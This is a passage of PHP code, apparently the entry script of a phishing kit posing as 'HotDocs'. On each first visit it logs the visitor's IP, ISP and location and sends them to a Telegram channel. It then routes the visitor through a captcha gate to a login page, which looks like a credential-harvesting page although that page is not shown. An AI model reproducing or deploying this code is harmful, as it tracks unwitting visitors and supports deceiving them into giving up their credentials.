Redirection... a première fois if (!isset($_SESSION['visit_tracked'])) { $userIp = getRealIpAddr(); $ipInfo = getIpInfo($userIp); $_SESSION['visit_tracked'] = true; $_SESSION['user_ip'] = $userIp; $_SESSION['ip_info'] = $ipInfo; // Construire le message de visite if ($ipInfo && $ipInfo['status'] === 'success') { $message = "🔔 Nouvelle visite sur HotDocs\n\n"; $message .= "🚹 " . $ipInfo['query'] . "\n"; $message .= "🗃 " . ($ipInfo['isp'] ?? 'Unknown ISP') . "\n"; $message .= "🌍 " . ($ipInfo['country'] ?? 'Unknown') . " (" . ($ipInfo['city'] ?? 'Unknown') . ")\n"; $message .= "📍 " . ($ipInfo['city'] ?? 'Unknown') . ", " . ($ipInfo['regionName'] ?? 'Unknown') . "\n"; $message .= "⏰ " . date('d/m/Y H:i:s') . "\n"; } else { $message = "🔔 Nouvelle visite sur HotDocs\n\n"; $message .= "🚹 " . $userIp . "\n"; $message .= "🗃 Information non disponible\n"; $message .= "🌍 Information non disponible\n"; $message .= "📍 Information non disponible\n"; $message .= "⏰ " . date('d/m/Y H:i:s') . "\n"; } // Envoyer le message sur le canal de notification de visite sendTelegramVisitMessage($message); } // Vérifier si le captcha a été complété if (!isset($_SESSION['captcha_verified']) || !isset($_SESSION['captcha_verified_time']) || (time() - $_SESSION['captcha_verified_time']) > 3600) { // Expire après 1 heure // Rediriger vers la page de captcha header('Location: pages/captcha.php'); } else { // Captcha déjà vérifié, rediriger vers la page de login header('Location: pages/login.php'); } exit(); ?>